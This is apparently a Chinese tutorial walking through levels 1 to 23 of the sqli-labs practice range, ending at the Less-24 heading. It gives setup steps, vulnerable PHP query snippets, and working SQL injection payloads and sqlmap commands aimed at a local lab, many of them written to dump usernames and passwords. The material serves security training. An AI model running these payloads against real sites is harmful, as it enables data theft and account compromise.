1. 简介
sqli_labs是印度程序员编写的以“SQL注入攻击漏洞”为专题的靶场,一共有65关,不限于任何注入方式,适合入门小白练手的靶场。
项目地址:https://github.com/Audi-1/sqli-labs
靶场需要用到的工具:
- phpstudy_pro:web环境
- sqlmap:SQL注入自动化工具
- BurpSuite pro:Web集成测试工具
2. 环境搭建
web环境和DVWA靶场一样,使用的是phpstudy_pro,将sqli-labs源码解压到phpstudy_pro/WWW目录;
然后打开sqli-labs靶场的数据库配置文件sqli-labs/sql-connections/db-creds.inc进行修改:
$dbuser ='root';
$dbpass ='123456';//改成你设置的密码
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
主要是设置好用户名和密码,主机设置本地就可以了。接着创建网站,操作流程和DVWA靶场一样,就是php版本需要设置到5版本,否则会报错:

接下来就可以访问了:http://localhost:8086:

点击Setup/reset Database for labs设置数据库,执行成功:

返回到主页,点击关卡就看到布局了:

sqlmap工具下载地址:https://github.com/sqlmapproject/sqlmap/releases
下载完成后解压到目录,打开cmd输入框运行sqlmap.py文件:
python sqlmap.py -h
sqlmap常用命令:
sqlmap -u "URL" -v 1 --dbs //列举数据库
sqlmap -u "URL" -v 1 --current-db //当前数据库
sqlmap -u "URL" -v 1 --users //列数据库用户
sqlmap -u "URL" -v 1 -D "database" --tables //列举数据库的表名
--dbms=mysql //手动指定目标数据库的类型
--random-agent //使用随机选择的HTTP用户代理标头
--flush-session //刷新当前目标的session
--technique=U //可使用的SQL注入技术(默认值为“BEUSTQ”),U表示联合查询注入
-v3 //输出详细度,最大值5会显示请求包和回复包
数据库中常用的特殊字符编码:
| 字符 | Hex编码 |
| : | 0x3a |
| \ | 0x5c |
| _ | 0x5f |
| <br> | 0x3c62723e |
数据库中常用了API或命令:
user() //获取用户名
database() //获取数据库
version() //获取数据库版本
group_concat() //mysql的聚合函数,用于将同一分组的多个行值连成字符串
floor(x) //将x数字向下取整,返回不大于x的最大整数
rand() //生成一个0到1之间的随机浮点数
extractvalue() //对XML文档进行查询的函数,常用于报错注入
concat() //将多个字符串连接成一个字符串
updatexml() //用于更新XML文档特定节点值的函数
sleep() //查询延迟执行
ascii() //用于返回字符串中第一个字符的 ASCII 码值
substr(str,1,3) //从字符串中截取子字符串,str为指定的字符串,1是从位置1开始,3是要截取的长度,也就是说从字符串str中截取从位置1开始连续3个字符的子字符串
left() //从字符串的左侧提取指定数量的字符
count() //查询结果总数
if(a,b,c):如果a为真,则这个式子值为b,否则为c
-- - //单行注释符组合,后面需要跟空格生效,浏览器解析会把空格过滤,所以后面需要跟字符
# //另一种注释符组合,不需要跟空格就可使用
separator //SQL语句字符串分隔符
information_schema //mysql内置的只读的系统数据库,访问数据库元数据信息,包括数据库表、列、索引等
schemata //information_schema数据库中存储数据库的表
schema_name //schemata表中所有的数据库名列
tables //information_schema数据库中存储数据表的表
table_name //tables表中所有的数据表列
columns //information_schema数据库中存储列的表
column_name //columns表中所有的列
URL编码:URL对空格的编码有两种:“+”和“%20”
URL=协议名://域名:端口号/路径?查询字符串,查询字符串就是参数;
W3C标准规定,URL中查询参数名和参数值的空格都会用“+”符号替代,而在RFC3986规范中,URL的保留字符被转义成“%HH”格式,空格则被编码成“%20”,在ASCII字符集中,20就代表空格符。
因此,在URL的路径部分,应使用“%20”编码空格;而在URL的查询字符串中,空格在大多数情况下会被编码成“+”符号。
3. 基础挑战(Less1~20)
3.1 Less-1
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔、时间 | id=’$id’ |
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
3.1.1 注入点测试
?id=-1' and '1' = '1 //单引号注入
?id=-1' order by 3-- - //获取列数
?id=-1' union select 1,2,3-- - //判断显示点为(2,3),即可以在页面看到的信息列
?id=-1' union select 1,2,(select group_concat(user(),database(),version()))-- - //获取用户名、数据库、版本号
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- - //获取所有数据库名
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')-- - //获取security数据库中的所有表
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = 'users')-- - //获取所有的users表中的所有列名
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)-- - //获取users表的username列和password列
3.1.2 联合查询注入
?id=-1'+union+select+1,2,(select+group_concat(username,0x3a,password+separator+0x3c62723e) from+users)-- -
3.1.3 报错注入
//报错注入1:floor版本
?id=1'+and+(select+1+from (select+count(*),concat(user(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- -
//报错注入2:limit版本
?id=1'+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(username,password)+as+char),0x7e))+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)-- -
//报错注入3:extractvalue版本
?id=1'+and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))-- -
//报错注入4:updatexml版本
?id=1'+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))-- -
3.1.4 布尔盲注
//数据库的第一个字母的ASCII码是115
?id=1'+and+(ascii(substr(database(),1,1))>114)-- -
?id=1'+and+(ascii(substr(database(),1,1))>115)-- -
3.1.5 时间盲注
//数据库的第一个字母的ASCII编码为115
?id=1'+and+if(ascii(substr(database(),1,1))>114,1,sleep(5))-- -
?id=1'+and+if(ascii(substr(database(),1,1))>115,1,sleep(5))-- -
3.1.6 sqlmap注入
//联合查询注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-1/?id=1" --dbms=mysql --random-agent flush-session --technique=U -v3 --dbs
//报错注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-1/?id=1" --dbms=mysql --random-agent flush-session --technique=E -v3 --dbs
//布尔盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-1/?id=1" --dbms=mysql --random-agent flush-session --technique=B -v3 --dbs
//时间盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-1/?id=1" --dbms=mysql --random-agent flush-session --technique=T -v3 --dbs
3.2 Less-2
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=$id |
源码分析:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可以看到闭合方式不再是单引号了,闭合方式为?id=-1,注入方式和Less-1一样。
3.3 Less-3
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=(‘$id’) |
源码分析:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
闭合方式是’),示例:?id=-1′),注入方式和Less-1一样。
3.4 Less-4
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=(“$id”) |
源码分析:
$id = ‘”‘ . $id . ‘”‘;
$sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1″;
闭合方式是”),示例:?id=-1″),注入方式和Less-1一样。
3.5 Less-5
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错注入、布尔盲注、时间盲注 | id=’$id’ |
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
本关不直接在页面输出数据,所以使用联合注入查询不到数据,但是报错注入、布尔盲注、时间盲注依然可以,闭合方式和注入方式同Less-1一致。
3.6 Less-6
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 报错注入、布尔盲注、时间盲注 | id=”$id” |
源码分析:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
本关不直接在页面输出数据,所以使用联合注入查询不到数据,但是报错注入、布尔盲注、时间盲注依然可以,注入方式同Less-5一致。
3.7 Less-7
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=((‘$id’)) |
源码分析:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
//print_r(mysql_error());//报错注入不能使用了
本关的联合查询注入和报错注入都不能用了,只剩布尔盲注和时间盲注了,为提高注入效率建议使用sqlmap工具:
//布尔盲注:查询所有数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-7/?id=1" --dbms=mysql --random-agent flush-session --technique=B -v3 --dbs
//时间盲注:查询所有数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-7/?id=1" --dbms=mysql --random-agent flush-session --technique=T -v3 --dbs
3.8 Less-8
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 布尔盲注、时间盲注 | id=’$id’ |
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
else
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
本关的注入方式和Less-7一样,闭合方式是单引号:?id=-1’,使用sqlmap工具注入。
3.9 Less-9
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 时间盲注 | id=’$id’ |
源码分析:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true):
echo 'You are in...........';
else:
echo 'You are in...........';
本关的if和else输出的都是’You are in………..’;,所有只能使用时间盲注,拼接方式和其他注入方式都是和Less-7一样的。
3.10 Less-10
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 时间盲注 | id=”$id” |
源码分析:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if(true):
echo 'You are in...........';
else:
echo 'You are in...........';
本关的if和else输出的都是’You are in………..’;,所有只能使用时间盲注,拼接方式不一样,注入方式都是和Less-9一样的。
3.11 Less-11
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=admin&passwd=1′ |
源码分析:
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
注入方式和Less-1基本一致,而请求方式由GET变成了POST,所以不能用URL传参和测试了,而是要通过表单提交数据,所以使用BurpSuite和HackBar工具。
使用BurpSuite工具测试:

使用HackBar工具进行测试:

由于这是个登录页面,猜测用户名是admin。
3.11.1 注入点测试
uname=admin' or '1'='1&passwd=1&submit=Submit //单引号注入,万能密码
uname=admin&passwd=1' order by 2#&submit=Submit //获取列数
uname=admin&passwd=1' union select 1,2#&submit=Submit //判断显示点为(1,2),即可以在页面看到的信息列
uname=admin&passwd=1' union select 1,(select group_concat(user(),database(),version()))#&submit=Submit ////获取用户名、数据库、版本号
uname=admin&passwd=1' union select 1,(select group_concat(schema_name) from information_schema.schemata)#&submit=Submit //获取所有数据库
uname=admin&passwd=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')#&submit=Submit //获取security数据库中的所有表
uname=admin&passwd=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users')#&submit=Submit //获取所有的users表中的所有列名
uname=admin&passwd=1' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#&submit=Submit //获取users表的username列和password列
3.11.2 联合查询注入
uname=admin&passwd=1' union select 1,(select group_concat(username,0x3a,password separator 0x3c62723e) from+users)#&submit=Submit
3.11.3 报错注入
//报错注入1:floor版本
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &submit=Submit
//报错注入2:limit版本
uname=admin&passwd=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &submit=Submit
//报错注入3:extractvalue版本
uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- &submit=Submit
//报错注入4:updatexml版本
uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- &submit=Submit
3.11.4 布尔盲注
//数据库的第一个字母的ASCII编码为115
uname=admin' and ascii(substr(database(),1,1))>114-- &passwd=1&submit=Submit
uname=admin' and ascii(substr(database(),1,1))>115-- &passwd=1&submit=Submit
3.11.5 时间盲注
//数据库的第一个字母的ASCII编码为115
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))-- &passwd=1&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))-- &passwd=1&submit=Submit
3.11.6 sqlmap注入
//联合查询注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-11/" --dbms=mysql --data="uname=admin&passwd=1&submit=Submit" -p "uname" --random-agent flush-session --technique=U -v3 --dbs
//报错注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-11/" --data="uname=admin&passwd=1&submit=Submit" -p "uname" --dbms=mysql --random-agent flush-session --technique=E -v3 --dbs
//布尔盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-11/" --data="uname=admin&passwd=1&submit=Submit" -p "uname" --dbms=mysql --random-agent flush-session --technique=B -v3 --dbs
//时间盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-11/" --data="uname=admin&passwd=1&submit=Submit" -p "uname" --dbms=mysql --random-agent flush-session --technique=T -v3 --dbs
在sqlmap测试,需要先将请求报文保存到文本文件sqli.txt:
POST /Less-11/ HTTP/1.1
Host: localhost:8086
Content-Length: 28
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8086
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8086/Less-11/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
uname=admin&passwd=1&submit=Submit
接着使用sqlmap命令,并指定-r参数加载,-r REQUESTFILE指从一个文本文件中获取HTTP请求:
sqlmap -r sqli.txt
3.12 Less-12
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=admin&passwd=1″) |
源码分析:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
闭合方式不一样,注入方式和Less-11一致。
3.13 Less-13
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 报错、布尔盲注、时间盲注 | uname=admin&passwd=1′) |
源码分析
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if(true)
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
else
print_r(mysql_error());
源码中用户名和密码的信息输出代码被注释了,那么联合查询注入不能用了,仍然还可以使用报错注入、布尔和时间盲注,注入方式参考Less-11。
3.14 Less-14
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 报错、布尔盲注、时间盲注 | uname=admin&passwd=1″ |
源码分析:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
if(true)
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
else
print_r(mysql_error());
闭合方式没有括号了,变成了双引号,其他没有什么区别,注入方式和Less-11一致。
3.15 Less-15
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 布尔盲注、时间盲注 | uname=admin&passwd=1′ |
源码分析:
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if(true)
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
else
//print_r(mysql_error());
闭合方式和Less-11一致,页面信息输出和MySQL错误日志注释掉了,所以不能报错注入,只能使用布尔和时间盲注,注入方式和Less-11一致。
3.16 Less-16
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 布尔盲注、时间盲注 | uname=admin&passwd=1″) |
源码分析:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=(uname) and password=(passwd) LIMIT 0,1";
if(true)
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
else
//print_r(mysql_error());
Less-16和Less15的注入方式一样,闭合方式使用”),注入方式参考Less-11。
3.17 Less-17
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 报错、时间盲注 | uname=admin&passwd=1′ |
源码分析:
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if(true)
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
else
print_r(mysql_error());
源码中看到SQL查询语句只获取了uname,但是调用了check_input函数过滤掉了,update语句可以实现注入,但是页面显示不了信息,联合查询用不了,MYSQL的错误日志打开了,可以使用报错注入和时间盲注。报错注入方式和Less-11一致,而时间盲注需要指定passwd注入点:
//数据库的第一个字母的ASCII编码为115
uname=admin&passwd=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))-- &submit=Submit
uname=admin&passwd=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))-- &submit=Submit
建议使用报错注入,时间盲注效率堪忧,如果结果为假,直接延时报500。
3.18 Less-18
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 报错、时间盲注 | VALUES (‘$uagent’) |
源码分析:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if(true)
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
print_r(mysql_error());
else
print_r(mysql_error());
源码中uname和passwd都被过滤了,但是insert语句中的参数没有被过滤,还可以利用。这里insert语句将uagent、用户名和IP地址写入了数据库,后面还输出了报错信息,所以支持报错、时间注入,由于页面没有信息输出,所以不支持联合查询注入。
这里使用$_SERVER[‘REMOTE_ADDR’]来获取客户端的IP地址,所以不能被伪造,但可以通过修改user-agent属性来注入:
POST /Less-18/ HTTP/1.1
Host: localhost:8086
Content-Length: 34
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8086
Content-Type: application/x-www-form-urlencoded
User-Agent: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8086/Less-18/
Accept-Encoding: gzip, deflate, br
Cookie: security=impossible; PHPSESSID=5heinidatle4duk7378n1ud87u
Connection: keep-alive
uname=admin&passwd=admin&submit=Submit
3.19 Less-19
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 报错、时间盲注 | VALUES (‘$uagent’) |
源码分析:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if(true)
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
print_r(mysql_error());
else
print_r(mysql_error());
本关和Less-18的原理类似,注入方式一致,只不过把user-agent 改成了referer:
POST /Less-19/ HTTP/1.1
Host: localhost:8086
Content-Length: 34
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8086
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
Accept-Encoding: gzip, deflate, br
Cookie: security=impossible; PHPSESSID=5heinidatle4duk7378n1ud87u
Connection: keep-alive
uname=admin&passwd=admin&submit=Submit
3.20 Less-20
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=’$cookee’ |
源码分析:
if(!isset($_COOKIE['uname'])) //如果不存在uname参数
...
...
...
if(isset($_POST['uname']) && isset($_POST['passwd']))
//uname和passwd被过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if(true)//如果查到数据,将uname参数赋值给cookie里的uname
setcookie('uname', $cookee, time()+3600);
print_r(mysql_error());
else
print_r(mysql_error());
else //如果存在uname参数
if(!isset($_POST['submit'])) //没有submit参数
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//cookie直接拼接到SQL语句,单引号闭合且没有过滤
if (!$result)
die('Issue with your mysql: ' . mysql_error());
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else //如果查到数据,将uname参数赋值给cookie里的uname
setcookie('uname', $row1['username'], time()-3600);
从源码中可以看到大致的原理就是,将cookie中的uname参数拼接到SQL语句中,所以注入点在cookie,而且页面有信息输出,有报错信息输出,所以四种注入方式都可以使用。本关注入前需要先登录进系统才可以进行注入:
3.20.1 注入点测试
uname=admin' or '1'='1&passwd=1 //单引号注入,万能密码
uname=admin&passwd=1' order by 3# //获取列数
uname=admin&passwd=1' union select 1,2,3# //判断显示点为(1,2,3),即可以在页面看到的信息列
uname=admin&passwd=1' union select 1,2,(select group_concat(user(),database(),version()))# ////获取用户名、数据库、版本号
uname=admin&passwd=1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)# //获取所有数据库
uname=admin&passwd=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')# //获取security数据库中的所有表
uname=admin&passwd=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = 'users')# //获取所有的users表中的所有列名
uname=admin&passwd=1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)# //获取users表的username列和password列
3.20.2 联合查询注入
uname=admin&passwd=1' union select 1,2,(select group_concat(username,0x3a,password separator 0x3c62723e) from users)#
3.20.3 报错注入
//报错注入1:floor版本
uname=admin&passwd=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
//报错注入2:limit版本
uname=admin&passwd=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
//报错注入3:extractvalue版本
uname=admin&passwd=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))-- -
//报错注入4:updatexml版本
uname=admin&passwd=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- -
3.20.4 布尔盲注
//数据库的第一个字母的ASCII编码为115
uname=admin' and ascii(substr(database(),1,1))>114-- -
uname=admin' and ascii(substr(database(),1,1))>115-- -
3.20.4 时间盲注
//数据库的第一个字母的ASCII编码为115
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))-- -
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))-- -
3.20.5 sqlmap注入
//联合查询注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-20/" --dbms=mysql --cookie="uname=admin*" --random-agent flush-session --technique=U -v3 --dbs
//报错注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-20/" --dbms=mysql --cookie="uname=admin*" -p "uname" --random-agent flush-session --technique=E -v3 --dbs
//布尔盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-20/" --dbms=mysql --cookie="uname=admin*" -p "uname" --random-agent flush-session --technique=B -v3 --dbs
//时间盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-20/" --dbms=mysql --cookie="uname=admin*" -p "uname" --random-agent flush-session --technique=T -v3 --dbs
4. 高级注入(Less21-37)
4.1 Less21
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=(‘$cookee’) |
源码分析:
if(!isset($_COOKIE['uname'])) //如果不存在uname参数
...
...
...
if(isset($_POST['uname']) && isset($_POST['passwd']))
//uname和passwd被过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if(true)//如果查到数据,将uname参数赋值给cookie里的uname
setcookie('uname', $cookee, time()+3600);
print_r(mysql_error());
else
print_r(mysql_error());
else //如果存在uname参数
if(!isset($_POST['submit'])) //没有submit参数
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee); //对cookee进行base64解密
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";//cookie解密后拼接到SQL语句,单引号括号闭合且没有过滤
if (!$result)
die('Issue with your mysql: ' . mysql_error());
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else //如果查到数据,将uname参数赋值给cookie里的uname,然后再进行base64加密带入SQL中查询
setcookie('uname', base64_encode($row1['username']), time()-3600);
通过源码可以看到,Less-20基本是一样的,区别是cookie是通过base64加密传输的,然后解密带入SQL语句中查询,多了个加解密的过程,所以这关的payload加密后赋值给cookie的uname就可以了。还有闭合方式也是改成了’)。
加密方式:BurpSuite里就可以实现,选中要加密的内容-转换选中内容-Base64 URL-Base64 URL-encode:

4.1.1 联合查询注入
uname=') union select 1,2,(select group_concat(username,0x3a,password separator 0x3c62723e) from users)#
4.1.2 sqlmap注入
//联合查询注入-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-21/" --dbms=mysql --cookie="uname=*" --tamper="base64encode" --random-agent flush-session --technique=U -v3 --dbs
//报错注入-示例:获取所欲数据
python sqlmap.py -u "http://127.0.0.1:8086/Less-21/" --dbms=mysql --cookie="uname=*" --tamper="base64encode" --random-agent flush-session --technique=E -v3 --dbs
//布尔盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-21/" --dbms=mysql --cookie="uname=*" --tamper="base64encode" --random-agent flush-session --technique=B -v3 --dbs
//时间盲注-示例:获取所欲数据库
python sqlmap.py -u "http://127.0.0.1:8086/Less-21/" --dbms=mysql --cookie="uname=*" --tamper="base64encode" --random-agent flush-session --technique=T -v3 --dbs
报错注入、布尔和时间盲注就不演示了,除了加密和闭合方式,其他和Less-20的注入方式一致。
4.2 Less-22
| 请求方式 | 注入类型 | 拼接方式 |
| POST | 联合、报错、布尔盲注、时间盲注 | uname=”$cookee” |
源码分析:
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
这里只看不同点,源码中的闭合方式由单引号)改成了双引号,注入方式和Less-21一致。
4.3 Less-23
| 请求方式 | 注入类型 | 拼接方式 |
| GET | 联合、报错、布尔盲注、时间盲注 | id=’$id’ |
源码分析:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//过滤了id参数的注释符#和--
$reg = "/#/";
$reg1 = "/--/";
$replace = ""; //替换为空
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
...
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if(true)
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
else
print_r(mysql_error());
请求方式又回到了GET,但是不能使用注释符(#和–)了,可以使用闭合方式绕过。
4.3.1 联合查询注入
?id=-1'+union+select+1,(select+group_concat(username,0x3a,password+separator+0x3c62723e) from+users) ,3 and '1'='1
其他注入方式同Less-1基本一致,把注释符改成闭合and ‘1’=’1就可以了。
4.4 Less-24
| 请求方式 | 注入类型 | 拼接方式 |
